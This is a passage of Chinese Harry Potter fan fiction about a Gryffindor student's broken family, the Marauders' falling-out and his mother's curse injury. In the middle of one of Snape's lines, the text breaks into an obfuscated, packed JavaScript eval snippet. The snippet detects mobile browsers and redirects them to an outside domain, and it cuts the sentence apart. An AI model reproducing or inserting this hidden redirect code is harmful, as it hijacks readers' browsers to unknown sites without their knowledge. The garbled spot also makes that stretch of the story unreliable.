他们到了一处相对避雨的、被狂风吹得摇摇欲坠的棚子下,围成一个圈。雨水顺着他们的头发、脸颊疯狂流淌。詹姆怀里掏出四个血红色的瓶子,声音几乎被雷声淹没: “阿马多,阿尼莫,阿尼玛多,阿尼玛格斯!” (Amato Animo Animato Animagus) 小天狼星立刻跟着大声重复,脸上是混合着紧张和狂热的兴奋。 冰冷的雨水流进嘴里,埃米洛浑身冰冷,头痛欲裂。在所有人灼灼的目光逼视下,不断撕裂夜空的闪电和震耳欲聋的雷鸣像是在催促他,他张开了嘴,声音嘶哑而机械地跟随着念出那句拗口的咒语: “阿马多,阿尼莫,阿尼玛多,阿尼玛格斯! ” 最后一个音节落下的瞬间—— “轰隆!!!” 一道前所未有的、仿佛就在他们头顶炸开的巨大霹雳撕裂了天空!惨白的光芒瞬间将人的脸映照得如同鬼魅! 与此同时,埃米洛感到一股无法形容的、狂暴的力量,并非来自体外,而是从他身体最深处猛然爆发!仿佛有一把无形的巨锤,狠狠砸在了他的胸口正中央! 咚! 一声沉闷得令人作呕的巨响,并非来自外界,而是来自他胸腔内部!那不是他熟悉的心跳,而是……另一个器官在疯狂地搏动、挤压、试图破体而出!这感觉诡异至极,像是身体里被强行塞进了一个不属于自己的、正在剧烈抽搐的活物!剧烈的、撕裂般的疼痛瞬间攫住了他的心脏,让他眼前一黑,几乎窒息。 生理上的极度不适瞬间引爆了他心中压抑了整整一年的绝望、恐惧和愤怒。翻倒巷的阴冷、博金博克店主的狞笑、那串天文数字、母亲惊恐的脸、挥下的巴掌、冰冷的家、玛丽失望的眼睛、对父亲那无法启齿的黑暗念头……所有的一切,如同决堤的洪水,混合着这撕裂般的剧痛,轰然冲垮了他最后一丝理智的堤坝。 “呃啊——!”一声痛苦而绝望的嘶吼从他喉咙深处挤出。 在彻底失去意识的前一秒,他瞥见了两个巨大而模糊的动物在狂暴的雨幕中一闪而逝。 紧接着,一个更加清晰、充满惊恐的身影冲破雨帘,向他狂奔而来——莱姆斯,他脸上是前所未有的惊慌失措。 无边的黑暗和冰冷的雨水彻底吞噬了他。 8. 一封介绍信 14岁的埃米洛是这样一个少年——脸色苍白如纸,薄薄的皮肤下骨形嶙峋。深重的黑眼圈压着忧郁凝滞的眼珠,抬起头的时候迸发出尖锐的倔强。 他是教授们眼中无可挑剔的优等生。魔咒精准,变形迅速,魔药熬制得一丝不苟,每堂课都能为格兰芬多稳稳赢下加分。 然而在同学里,他像一道沉默而不显眼的影子,匆匆穿梭于图书馆最偏僻的角落、斯拉格霍恩气味复杂的魔药教授,或是费尔奇指派的、布满灰尘的废弃走廊。 没有人知道,在他随身携带、边缘磨损的旧笔记本里,密密麻麻写满了与OWLs课程毫不相干的字迹:艰深晦涩的魔法契约条款分析、关于翻倒巷高利贷运作方式及其非法性的研究笔记、甚至是对阿兹卡班囚犯财产处置及债务豁免可能性的冷酷推演。——但埃米洛几乎没有好的办法处理这笔赌债。 偿还债务太难,寻求法律援助?要知道翻倒巷本身就是黑色地带,以后他们一家还生不生活?他更不能一个人远走高飞,因为艾莲娜的哀求,因为身上的踪丝…… 不断推演的结果是被迫承受,但他必须要做到不让结果恶化—— 德蒙特先生显然从艾莲娜那里得知了儿子在翻倒巷的“壮举”,他暴怒得像一头被戳了痛脚的困兽,因为儿子窥破了他深埋的耻辱,因为这耻辱本身被一个“毛头小子”踩在了脚下,更因为这耻辱即将面临清算。 “反了你了——!”德蒙特先生的面皮紫涨,脖颈上青筋虬结,像一条条愤怒的蚯蚓。“敢去那种地方!敢翻我的东西?!谁给你的胆子!你以为你翅膀硬了?!” 他挥舞着双臂,像一头失控的巨怪,随时可能扑上来。 恐惧?埃米洛的心湖里早已冻结,连一丝涟漪都泛不起。他看着眼前这个因愤怒而扭曲的男人——他的父亲,一个将家庭拖入深渊却依旧理直气壮的赌徒。他看到的不是威严,不是力量,只有一种被戳穿后歇斯底里。 在德蒙特先生下一个更恶毒的辱骂即将出口、身体也作势要扑上来的瞬间,埃米洛动了。他的动作快得几乎不像一个14岁的少年,没有一丝犹豫,带着一种在无数次内心演练中淬炼出的精准和冷酷。 他像一道贴着地面掠过的阴影,欺身而上,左手闪电般格开父亲胡乱挥舞的手臂,右手精准无比地探向对方腰间魔杖套的位置。 “啪!”一声脆响。魔杖被强行抽出皮套。 德蒙特先生只觉得腰间一空,暴怒的吼叫戛然而止,如同被掐住了脖子的公鸡。他难以置信地低头看着自己空空如也的魔杖套,又猛地抬头看向埃米洛——埃米洛的手指稳定得可怕,魔杖尖端微微下垂,没有指向任何人,眼神是一种深不见底的、近乎漠然的决绝。 “你……你竟敢……”德蒙特先生的声音陡然拔高,带着破音的尖利,那是权威被彻底粉碎后的惊恐和狂怒。他下意识地想扑过去抢夺。 “站住。”埃米洛的声音不高,却像淬了冰的钢针,清晰地穿透了父亲粗重的喘息。他后退半步,将父亲的魔杖稳稳地收进自己长袍的内袋。 “你以为抢走魔杖就完了?小畜生!我……” “闭嘴。”埃米洛打断他,声音里带着一种令人心寒的疲惫和平静,“听着,罗杰·德蒙特。我没兴趣听你咆哮,也没兴趣看你继续把这艘破船凿沉。现在,只有两条路。” 他顿了顿,目光扫过角落里脸色惨白、瑟瑟发抖、几乎要晕厥过去的母亲艾莲娜,又落回父亲那张因惊怒交加而扭曲的脸上。 “第一条路,”埃米洛的声音冰冷如地窖,“你可以继续吼叫,甚至试图攻击我。然后我会立刻联络魔法部法律执行司,报告你非法参与翻倒巷巨额赌博并欠下足以让整个家庭被卖去古灵阁还债的高利贷。博金博克的账簿就是铁证。想想后果?阿兹卡班,或者被那些翻倒巷的‘债主’找到家里来。我相信他们很乐意用更‘有效’的方式提醒你还钱。” 他精准地戳中了德蒙特先生最深的恐惧——失去自由,以及面对翻倒巷黑巫师时那深入骨髓的懦弱。 德蒙特先生的脸瞬间褪去血色,嘴唇哆嗦着,刚才的狂怒像被戳破的气球,只剩下恐惧的漏气声。 “第二条路,”埃米洛的声音没有丝毫起伏,仿佛在陈述一个与己无关的交易,“我们立一个‘牢不可破的誓言’(Unbreakable Vow)。” “牢……牢不可破的誓言?!”德蒙特先生失声尖叫。 “对。”埃米洛点头,眼神锐利如刀,“内容很简单:第一,你发誓,从此刻起,永远戒除任何形式的赌博。第二,你发誓,倾尽你所能,用你合法赚取的每一个铜纳特,偿还博金博克以及任何其他因赌博欠下的债务。直到还清为止。” “你疯了!那笔钱……” “那是你欠下的!”埃米洛的声音陡然拔高,带着压抑已久的愤怒和鄙夷,“没人逼你去赌!没人逼你借那种钱!要么选择誓言,承担你该承担的责任;要么,现在就迎接魔法部或翻倒巷的‘问候’。你自己选。” 他把“选择”这个词咬得很重,将主动权看似交还,实则堵死了所有退路。 德蒙特先生像一滩烂泥般瘫坐在椅子上,眼神涣散,冷汗浸透了他油腻的头发。巨大的恐惧压倒了一切。他艰难地、极其轻微地点了下头,喉咙里发出一个含糊不清的音节,算是同意。埃米洛忽然心情复杂起来,父权的崩塌只在这一瞬间,连同他还妄图作为小孩儿躲在父母身后的那点奢望。 “妈,”埃米洛转向艾莲娜,声音缓和了一丝,但依旧带着不容置疑的命令,“你来当见证人。” 艾莲娜浑身一颤,眼泪无声地滑落。她看着儿子,又看看失魂落魄的丈夫,巨大的悲哀和某种难以言喻的麻木攫住了她。她颤抖着,几乎是爬行般地挪到两人中间,伸出自己冰凉、枯瘦的手。 三只手以最紧密也最疏离的姿态交叠在一起。艾莲娜的手冰冷,德蒙特的手汗湿而颤抖,只有埃米洛的手,稳定得如同磐石。 ------ 升入五年级的那个暑假,莱姆斯写信告诉他他被选为了级长。 “我写信问了邓布利多校长我“毛茸茸”的那两天怎么办?校长暗示我可以寻求室友的帮助,但你知道的,詹姆他们也许会利用职务之变做些别的……级长可以随意出入级长浴室,那间浴室是个好地方……可以帮帮我么?埃米洛。我之后每星期把口令告诉你……” 埃米洛答应了他。与此同时,魔法部部长哈罗德·明彻姆因为心脏病暴毙,所有人都在传这是神秘人干的。新部长米里森·巴格诺德上台,整个魔法界的气氛变得更加诡异。无用而繁复的法令让对角巷的店主们苦不堪言,预言家日报上充斥着粉饰太平的虚假消息: 《部长阁下宣布:魔法界安全等级提升至“稳固”,民众可安心生活!》:配图是新部长在装饰着鲜花和魔法彩带的办公室里微笑握手的照片,背景是阳光明媚的对角巷——一个被刻意选取、充满表演性质的角落。 《魔法部傲罗办公室高效运作,捣毁潜在威胁据点!》:报道语焉不详,地点模糊(“某偏远地区”),所谓“威胁据点”的细节一概不提,只强调“未造成任何人员伤亡”,暗示一切尽在掌控。 《霍格莫德周末照常开放,欢乐氛围彰显魔法界团结!》:即使有学生私下议论某个店铺上周莫名歇业,或者猪头酒吧附近出现了可疑的陌生人,报纸上也只字不提,只描绘一派祥和。 就在这种压抑的政治氛围中,霍格沃茨迎来了新的麻瓜研究课老师——塔库斯·卡洛。埃米洛认识他,他曾经有一段时间常常光顾二手商店。 “麻瓜,”卡洛教授开口了,声音平板,缺乏起伏,像一个疲惫的报幕员在念诵早已烂熟的、令人厌烦的台词:“由于先天魔法潜能的匮乏,其社会发展呈现出一种……补偿性的、对机械力量的病态依赖。”他翻动书页,动作僵硬,指尖微微发白,仿佛那纸张有毒。 “这种依赖,导致了环境的严重污染、社会的异化,以及……内在精神的极度贫瘠。” 莉莉猛地举起了手,不等卡洛示意便站了起来,声音清晰有力,像一道划破沉闷空气的闪电:“教授,这个结论完全忽略了工业革命后麻瓜社会在公共卫生、平均寿命和知识普及上的巨大进步!而且,现代环保运动正是由麻瓜主导……” “伊万斯小姐!”卡洛教授打断了她,声音提高了一个度,带着一丝不易察觉的、被逼迫的急促。他没有看莉莉的眼睛,而是盯着她身后的墙壁。“我们现在讨论的是教材所阐述的、麻瓜文明发展的内在逻辑缺陷。你个人的……感性认知,并不改变其依赖非魔法手段的本质,这正是其‘原始性’的体现。” 他迅速指向下一张插图——一张刻意选取的、破败拥挤的麻瓜街区照片,飞快地说:“看,这就是过度依赖所谓‘科技’而忽视内在精神追求的必然结果。” “……他们无法驾驭魔法这种优雅的力量,只能依赖这些笨拙、吵闹、污染环境的机器,可怜又可悲。”他开始展示麻瓜交通工具图片,重点永远是战争、瘟疫和“证明其野蛮本性的内部倾轧”,而对艺术、科学成就则一笔带过或嗤之以鼻。 台下响起几声压抑的嗤笑,来自几个斯莱特林学生。更多的麻瓜出身学生则面露愤慨或屈辱。埃米洛坐在教室靠后的阴影里,手指无意识地摩挲着笔记本边缘。 “我们应该写信给校长投诉!”莉莉的声音在公共休息室回荡:“这是侮辱!” 旁边几个同样是麻瓜出身的女生附和着她。 “你们准备怎么做?不然我们一起翘课?然后你可以跟我一起约会……”詹姆在旁边说。 莉莉烦躁着让他走开。 詹姆有些受伤,小天狼星倚在壁炉边,火光照亮了他的半边脸,看起来典雅又阴郁:“光写信给校长有什么用?一个人的力量太浅薄了。你需要更多人的声音……让上面的人不得不重视!” “我们需要……集体投票!” 一张张选票很快被制作好,发到了上麻瓜研究课的同学们手里,埃米洛自然而然也有一张,詹姆给他的时候频繁嘱咐他一定要写是,他表面上应下了,但他迟迟没填写,因为觉得奇怪——卡洛教授的种种行为。 在莉莉发言时,他捏着粉笔的手指关节因用力而突出泛白;而且在提到“血统纯净”这类词眼时,喉结会不自然地滚动一下,仿佛咽下了什么苦涩的东西。这不像一个笃信者的狂热宣讲,更像一个被绑在耻辱柱上、被迫念诵判决书的囚徒。 事实上,很多学生都也一样觉得没什么好投票的。很多拉文克劳的学生忧心忡忡,担心签名会影响至关重要的OWLs成绩;斯莱特林则或冷眼旁观,或公然嘲笑,立场与格兰芬多天然对立。支持与反对的声音在拉扯,事情陷入了僵局。 ------ 西弗勒斯走进魔药教室的时候,埃米洛还在看着那张选票皱眉。 他的嘴角扯出一个讥讽的弧度,漆黑的眼珠斜睨过来,“一张选票这么难签?优柔寡断是你们格兰芬多会传染的特质么?” “你呢?签了否?” 埃米洛的目光掠过斯内普阴郁的侧脸,投向走廊尽头空荡荡的拱门——那里曾经总有一个火红头发的身影倚墙等待。但自从五年级开学,莉莉已经很久没在那里了。 格兰芬多休息室里总有很多斯莱特林那边的小道消息。五年级刚开学的时候,西弗勒斯开始与低一年级的小布莱克走近,而小天狼星说过他们一家人都支持“那个人”,自己的弟弟更是迷恋他,收集他的海报。不同的立场和选择像带着倒刺的毒藤,将这对青梅竹马死死缠绕、割裂,走向无可挽回的分离。 结束了工作,两个人一前一后走向礼堂。就在他们即将拐过下一个转角时,一阵压抑的、带着浓重鼻音的啜泣声混杂着斯拉格霍恩教授圆滑的安抚声,从阴影里飘了出来。西弗勒斯在前面瞥了他一眼,两人不约而同地停在了转角阴影处。 “……霍拉斯,求您了,帮我说说话!”是那个新来的麻瓜研究课老师,卡洛教授的声音,此刻全然失了课堂上的刻板,只剩下崩溃边缘的嘶哑,“我只是……只是照着上面的指令讲课,混一口饭吃啊!您看看外面的风声!神秘人的影子无处不在,部里人人自危,一份稳定的教职……我妻子刚生了孩子,魔药开销……我……我不能丢了这个!” 他的声音猛地拔高,带着绝望的哭腔,“我知道我做的不对,可我能怎么办?!我只是……我也没办法啊!想活下去!活下去而已啊!!你在霍格沃兹这么多年了,应该能说服那些学生……你帮帮我……” 紧接着,斯拉格霍恩教授那试图抚平一切棱角的声音响起,那惯常的从容里却掺着一丝不易察觉的紧绷: “哎呀呀,亲爱的塔库斯,冷静,冷静点!”斯拉格霍恩的声音刻意放得轻快,带着一种安抚性的节奏,仿佛在哄一个受惊的孩子。“我理解,完全理解!这年头,大家都不容易嘛,风浪太大,小船难行啊!谁还不是为了……呃……安稳度日呢?” “至于学生嘛,”斯拉格霍恩干笑了两声,笑声在空旷的走廊里显得有些空洞,“年轻人,血气方刚,总有几分……理想主义的冲动!那个红头发的伊万斯小姐,天赋是极好的,再说了,你应该要去找麦格教授和斯普劳特教授啊!” 他试图把事情推给别人。 “可是霍拉斯!”卡洛的声音带着更深的恐惧,“我感觉……我感觉有眼睛在盯着我!那些纯血家族的孩子……还有风声说,部里也已经被……” 斯拉格霍恩的声音明显顿了一下,再开口时,那份圆滑里透出了更深的紧张,甚至有一丝急于结束话题的仓促:“咳!慎言,塔库斯!慎言啊!那些捕风捉影的闲话,听听就罢了!做好分内事,别想太多!在霍格沃茨,还是邓布利多说了算的!” 他又急切地搬出邓布利多的名头,像是在寻求某种庇护,又像是在警告对方不要深究。 “可……”卡洛还想说什么。 “没有可是!”斯拉格霍恩打断他,语气带着一种罕见的强硬,随即又迅速软化下来,恢复那副和事佬的口吻,“这样,我那里还有些上好的橡木陈酿蜂蜜酒,对舒缓神经有奇效!改天请你尝尝?现在嘛……振作起来,塔库斯!日子总要过下去!记住,低调,谨慎,做好自己的事!其他的……交给梅林吧!” 他用力拍了拍卡洛的肩膀(声音很响),然后似乎又往卡洛手里塞了点什么(可能是糖果之类的小玩意儿),脚步声响起,明显是想尽快离开这个令人不安的谈话。“好了好了,我得去准备下午的魔药课了!记住我的话!” 他最后的声音带着一种如释重负的匆忙,脚步声迅速远去。 走廊阴影里,只剩下卡洛教授压抑的、断断续续的抽泣声。再后来,抽泣声也渐行渐远,埃米洛沉默地站着,直到西弗勒斯冷哼一声打破沉默。 “看吧,即使打掉一个卡洛,魔法部明天就能塞进来十个更恶心的!底层的人掀桌子是努力就能掀起来的?代价呢?谁来承担?那个丢了饭碗、全家喝西北风的可怜虫卡洛?还是我们这些马上就要考OWLs、档案上可能被记一笔‘煽动闹事’的学生?” 西弗勒斯嘶嘶的说着,走廊上油灯忽明忽暗。 “……但这只是你的一部分想法。”埃米洛走进一步,两个人的距离拉进。“你其实还是觉得麻瓜低人一等,所以你总是宣传你母亲的普林斯家族而对你父亲闭口不谈。你希望神秘人帮你报复麻瓜,甚至借此控制莉莉。”最后的话语他压的很低。 “你又开始了?审判?”西弗勒斯冷笑着:“我就是这么想又怎么样,我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859216|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获得我想要的东西,迟早有一天。你呢?我知道你家里发生了什么……别忘了翻倒巷还是我提醒你的。你如此抗拒顺势而为,放不下可悲的自尊心,你会痛苦到什么时候呢?” 回到格兰芬多塔楼,公共休息室的炉火早已熄灭,只有他床边一支蜡烛在孤独地摇曳,将他的影子巨大而扭曲地投射在四柱床的帷幔上。他拿出那张羊皮纸——莉莉娟秀的字迹领头,承载着改变希望的请愿书,此刻却像一块烧红的烙铁,烫得他指尖发麻。 没有犹豫。他面无表情地将纸角凑近跳动的烛焰。橘红色的火舌贪婪地卷上羊皮纸边缘,瞬间蔓延开来,发出细微的爆裂声。 火光映亮了他苍白的脸和深陷眼窝里那片凝固的冰湖。纸张迅速蜷曲、焦黑,化作片片带着火星的灰烬,如同黑色的蝴蝶,在冰冷的空气中盘旋、坠落。最后一点火星熄灭,只余下指尖一点灼热的刺痛和空气中淡淡的焦糊味。 ------ 结果是平局。詹姆气急了。“这算什么结果嘛!”他乱糟糟的黑发下,镜片后的眼睛燃烧着被背叛的怒火,“那个弃票的人最好祈祷别被我揪出来!我发誓!” 他做梦也想不到,那个“弃票的胆小鬼”每晚就睡在离他不到五英尺的地方。 深夜,埃米洛拖着疲惫的步子替莱姆斯巡完夜。城堡空旷的回廊里只剩下他自己的脚步声。在走廊上,遇到了同样刚结束级长巡逻的莉莉。她碧绿的眼睛在昏暗的光线下显得有些疲惫,但仍带着光芒:“埃米洛?要不要去厨房?我们可以来杯热可可。” “算了,”埃米洛很果断的拒绝:“这个点,家养小精灵也该睡了。” 莉莉愣了一下。快走两步跟上他。“我发现你似乎特别抗拒权利存在……” “我抗拒压迫。” 埃米洛拉紧领口,径直钻进了洞口。 ------ 推开宿舍门,一股凝重的、几乎令人窒息的空气扑面而来。壁炉没有生火,只有月光惨白地透过窗户,勾勒出两个沉默的人影——小天狼星靠在他的床柱上,双臂环抱,英俊的脸庞笼罩在阴影里,灰眼睛像淬了冰的刀锋;彼得则缩在自己的床边,像只受惊的鼹鼠,不安地绞着手指。 反常的寂静像一张绷紧的鼓皮。埃米洛的心扯下领带:“今天不是月圆?你们没去陪莱姆斯?詹姆呢?” 彼得像是被掐住了脖子,喉咙里发出含糊的咕哝,眼神躲闪。 “他们俩也许在做游戏吧。”小天狼星仰面躺下,语气中夹杂着少见的不安。 答案在第二天清晨降临。埃米洛正俯身在铜盆前掬水洗脸,盥洗室的门被一股蛮力“砰”地撞开,撞在石墙上发出巨响。 詹姆堵在门口,胸膛剧烈起伏,头发比平时更乱,镜片后的眼睛布满血丝,死死盯着埃米洛。那眼神里翻涌着难以置信、被背叛的痛苦: “为什么弃权那张选票?不是答应好的?” 冰冷的水珠顺着他的下颌线滴落,砸在石砖地上。埃米洛缓缓直起身,“谁告诉你的?” 不需要言语。詹姆脸上的愤怒瞬间被一种更深沉、更冰冷的失望取代:“所以……”他喉咙滚动了一下,声音低沉下去,带着一种心碎的疲惫和难以置信的冰冷,“真的是你。” “我真的难以想象,德蒙特,”小天狼星倚在门框上:“你不想投票为什么要答应呢?你莫非是潜在的血统论者?” “你也闭嘴!西里斯!” 詹姆猛地回头,冲着好友爆发出一声前所未有的咆哮。 他像一头被逼到绝境的困兽,在宿舍里烦躁地转了两圈,每一步都踩得地板吱呀作响,却找不到发泄的出口。最终,他一把抓住还在瑟缩的彼得的手臂,力道大得让彼得痛呼出声,然后狠狠地摔上了宿舍的门! “砰——!” 当天下午,埃米洛替斯拉格霍恩教授送生骨灵去医疗翼时,在里面撞见了西弗勒斯。后者正从庞弗雷夫人手里接过一小瓶药膏。他的脸上,几道新鲜的伤口异常刺眼,嘴角也破了皮。 “你怎么了?”埃米洛皱着眉上前。 “我怎么了?” 他一抬眼看到埃米洛,漆黑的瞳孔瞬间缩紧,里面翻涌着滔天的怨毒和一种近乎疯狂的恨意。他扯动破裂的嘴角,露出一个扭曲的、令人毛骨悚然的冷笑,声音像是从地狱缝隙里挤出来的: 他向前逼近一步,带着浓重的血腥和药膏气味,“你装什么无辜?你早就知道了,不是吗?你早就知道莱姆斯·卢平那个怪物……是个什么样的东西了吧?!” 他嘶吼着,每一个字都淬着剧毒,指向那个月圆之夜的秘密。 埃米洛的视线死死钉在斯内普脸上的伤痕上。詹姆的暴怒、小天狼星昨晚反常的在场、彼得的心虚……所有的线索在这一刻“咔哒”一声,严丝合缝地串联了起来。还有选票……他是故意引导我,才那样说么? “那你真是活该,斯内普。”他听见自己的声音冷酷而无情:“你刚对我说完底层人无权利,又为什么要去探寻一个学校老师们默认的秘密呢?” 几天后,莱姆斯回来了,没有激烈的质问,没有愤怒的指责。他只是静静地坐在床边,抬起眼望向小天狼星。那眼神里没有了往日的温和与包容,只剩下无边无际的、沉重的失望和一种深入骨髓的心寒。那眼神比任何怒吼都更有力量,无声地诉说着信任的彻底崩塌。 埃米洛站在风暴肆虐后的废墟边缘,像一个冷静而残酷的旁观者。他清晰地看到了这个曾被他视为“热烈友谊”象征的掠夺者团体,其内核不过是以詹姆·波特为绝对核心的权力绳索编织品。绳索捆绑着其他人,却从未真正平等。这迟来的、冰冷的洞察,让他心底翻涌起一丝极淡、极冷的,近乎自嘲的涟漪。 ------ OWLs的压力山一般压来,但比考试更先抵达的是就业咨询。 埃米洛敲开麦格教授办公室的门,女巫挥挥魔杖,递给他一杯咖啡。 “我想去魔法部,教授。”他回答得简洁。 麦格教授毫不意外地点点头:“魔法部需要至少七张优秀的NEWTs证书。我相信你没问题的,选课……魔药和魔咒是必选的,我的变形术,你也该继续上……” 在埃米洛觉得谈话要结束的时候,麦格教授从厚重的书本下抽出一封早已准备好的信。 “我早就帮你准备了介绍信……你可以随时过去实习……我年轻时也在那里工作过。”她的声音带着一丝不易察觉的叹息。 “可我还没考完OWLs……”埃米洛有些无措地接过那封沉甸甸的信。 “你没问题的,孩子。”麦格教授难得地拍了拍他的肩膀,语气笃定,“你是最没问题的那一个。” 她又递过来一本笔记,“拿着这个,对你有帮助。” …… 在埃米洛道谢后脚步虚浮地即将离开时,麦格教授的声音在他身后响起,带着某种深长的意味: “你知道,有时候我们认定的目标往往不是一个人的终点,埃米洛。” 不是终点?他困惑的皱眉,握紧了介绍信和笔记,记下了这句话。 正如麦格教授所料,埃米洛的OWLs考试进行得近乎完美。他冷静、精准,每一个咒语,每一滴药水都无懈可击。考官们赞许的目光几乎追随着他。 最后一门是天文学,他在清冷的夜风中走出塔楼考场,心中刚掠过一丝对成绩的笃定,一只带着不容抗拒力道的手猛地抓住了他的胳膊——是庞弗雷夫人,她的脸色异常严峻。 “快跟我走,孩子!去圣芒戈!” “圣芒戈?”埃米洛一时茫然。 “你妈妈出事了!”庞弗雷夫人的声音急促而沉重,“钻心咒……或许还有别的……” 他踉跄着扑进壁炉。 9. 一根羽毛笔 埃米洛梦到了自己小时候,他很小,小得需要努力仰头才能看清父亲的下巴和母亲温柔垂下的眼睫。是六岁?还是七岁?他缠着艾莲娜,一遍遍地说:“妈妈,海!想看海!”。 艾莲娜最终无奈着妥协了,笑容带着一种脆弱却真实的光彩。罗杰·德蒙特那天心情似乎也不错,没有抱怨路途遥远,甚至主动抱起了他,让他坐在自己厚实的肩膀上,视野一下子变得开阔无比。 海风扑面而来,带着自由的味道。他记得自己兴奋地尖叫,小手指着远处闪烁的蓝。沙滩是金黄色的,细软温暖,踩上去痒痒的。海鸥雪白的翅膀掠过他们头顶,留下一根雪白的羽毛。 艾莲娜和罗杰一左一右牵着他小小的手掌。起初只是慢慢地走,接着,步伐默契地加快。他感觉自己的脚离开了沙地,身体轻盈地飞了起来! “一、二、三——飞咯!” 艾莲娜和罗杰的声音混合着海浪声,带着笑意。他们把他小小的身体用力荡向空中,又稳稳接住。失重的瞬间,心脏快乐得仿佛要跳出喉咙,每一次腾空都伴随着他咯咯的笑声,清脆地洒在风里。他被抛起,落下,再抛起……世界在他眼前旋转,是碧蓝的天,洁白的云,父母含笑的脸,还有脚下那片仿佛铺满碎金的沙滩。 “再来!爸爸!妈妈!再来一次!” 他欢叫着,信任地将自己完全交付给那两双紧紧握住他的手。眼前是燃烧的夕阳,将海面熔化成一片无边无际、晃动着碎金与火红绸缎的壮丽画卷。身后是清晰地印着六只脚印:两大,一小。那三串脚印一直延伸,尽头是牵着手的一家三口…… 他感到前所未有的安全,像一枚被温暖潮水包裹的贝壳。笑声还在胸腔里回荡,就连海风带着咸涩的甜味…… “……孩子……孩子,醒醒。” 埃米洛倏然惊醒,心脏在胸腔里剧烈地撞击,属于幼童的欢愉如同退潮般迅速消散,留下冰冷、坚硬的现实礁石。 他茫然地眨了眨眼,视线聚焦。眼前是圣芒戈医院标志性的翠绿色治疗师长袍——一张陌生的、带着关切和例行公事表情的男性面孔。旁边站着的是熟悉的庞弗雷夫人,以及神情异常严峻的麦格教授。她们的目光都沉甸甸地压在他身上。 我为什么会在这里?意识像生锈的齿轮,艰难地转动。刺鼻的药水味,冰冷的塑料座椅触感,惨白的灯光……记忆的碎片轰然回笼——庞弗雷夫人的紧急召唤,壁炉的绿焰…… 对了,艾莲娜! 他猛地扭头,目光急切地投向病床。艾莲娜静静地躺在那里,身上盖着白色的薄被,露出的脸庞苍白得没有一丝血色,如同被揉搓过无数次的旧羊皮纸。 “没人知道当时具体发生了什么么?”麦格教授带着她特有的、不容置疑的威严,锐利的目光转向那位主治医生。 医生下意识地避开了她的视线,显得有些局促不安,声音也低了下去:“……当时太混乱了。神秘人……您知道……他的势力在膨胀,袭击越来越频繁,也越来越肆无忌惮……谁也没想到,他们竟然敢……敢直接在对角巷核心区域动手……” 他吞咽了一下,仿佛那个名字本身带着诅咒,“是摩金夫人拼死把德蒙特女士送来的,她自己也被爆炸咒波及,受了伤,刚处理完伤口回去休息了。现场……一片狼藉,很多目击者都吓坏了,说法不一。只知道……是钻心剜骨,还混合了夺魂咒……目标似乎是制造混乱和恐惧……” “罗杰·德蒙特呢?” 医生愣了一下,显然没料到这个看起来苍白瘦弱的少年会突然问起这个,而且语气如此……陌生。“呃……这……我不清楚,孩子。我只是负责治疗。当时送来的只有你母亲和摩金夫人。你可以等摩金夫人醒来问问她……”他显然不想卷入更复杂的家庭问题。 “好了,”医生似乎急于结束这令人不适的对话,重新转向埃米洛,语气恢复了职业性的平稳,带着一种残酷的公式化:“我是来跟你说明你母亲的治疗情况和后续方案的。她的生命体征现在稳定了,这得益于送医及时和庞弗雷夫人的初步处理。但最大的问题是……她的精神受到了极其严重的创伤,钻心咒彻底摧毁了她的抵抗意志,夺魂咒的后遗症也深植其中。简单说,她的‘求生意识’非常、非常薄弱,几乎……沉入了意识深处,不愿意醒来。” 埃米洛的手指无意识地蜷缩起来,指甲深深陷入掌心,带来一阵尖锐的刺痛,却奇异地让他混乱的大脑清醒了一瞬。 医生继续道:“我们现在有两个选择:第一,使用强力的精神唤醒魔咒和药剂组合,进行‘强制唤醒’。这种方法见效快,但风险极高。经历过这种深度钻心咒折磨的病人,在强制唤醒后,很大概率会出现……精神失常、记忆混乱、甚至彻底崩溃的情况,她可能不再是你认识的那个母亲了。” “第二,”医生的声音放缓了些,“就是维持现状。用温和的魔药滋养她的身体和精神,等待她自己……在漫长的时间中,或许能慢慢找回一丝意识,愿意苏醒过来。但这需要时间,可能是几个月,几年……甚至更久,而且无法保证结果,期间如果魔力衰竭,可能就会……” 强制唤醒?变成疯子?变成另一个陌生人? 埃米洛的脑海中瞬间闪过父亲赌输后狰狞的脸、被夺走魔杖时惊惧的眼神、立下牢不可破誓言时绝望的颤抖……这个家早已支离破碎,每个人都在深渊边缘挣扎。艾莲娜,这个总是沉默、总是忍耐、总是哀求的女人,她早已在日复一日的恐惧和绝望中“变”了,变得麻木而脆弱。现在,连这最后一点熟悉的、属于“母亲”的影子,也要被彻底摧毁、替换掉吗? 他发现自己无法呼吸。他以为自己早已心如铁石,可以冷静地权衡利弊,做出最“合理”的选择。但当这个选择赤裸裸地摆在面前,关乎母亲最后一点“存在”的痕迹时,一种巨大的、冰冷的恐惧攫住了他。 他发现自己没有勇气去面对那个“醒来”后可能彻底陌生的艾莲娜。他承受不起再一次的“变化”,尤其是这种指向更坏深渊的变化。 “……不用强制唤醒了。”埃米洛听到自己的声音响起,平静得可怕,仿佛来自遥远的地方,带着一种认命般的疲惫。他甚至扯动嘴角,露出了一个极其苦涩、近乎自嘲的微笑,“就这样……先这样吧。” 医生似乎松了口气,又带着一丝不易察觉的遗憾:“好吧,孩子。这个选择……尊重你的决定。魔药和护理我们会持续进行。如果你……之后改变主意了,随时可以联系我。”他匆匆交代了几句注意事项,便像逃离什么似的离开了病房。 埃米洛发现自己好像……真的没有面对那种彻底崩坏变化的勇气了。懦弱吗?也许是。但更多的是,一种深入骨髓的疲惫和对“更坏”的本能逃避。 过了一会儿,摩金夫人在一位治疗师的搀扶下走了进来。这位一向衣着考究、气质温和的女巫此刻显得疲惫而哀伤,手臂上缠着绷带,长袍沾着灰尘和药渍。她一看到埃米洛,眼圈立刻就红了,用手帕不停地擦拭着眼角。 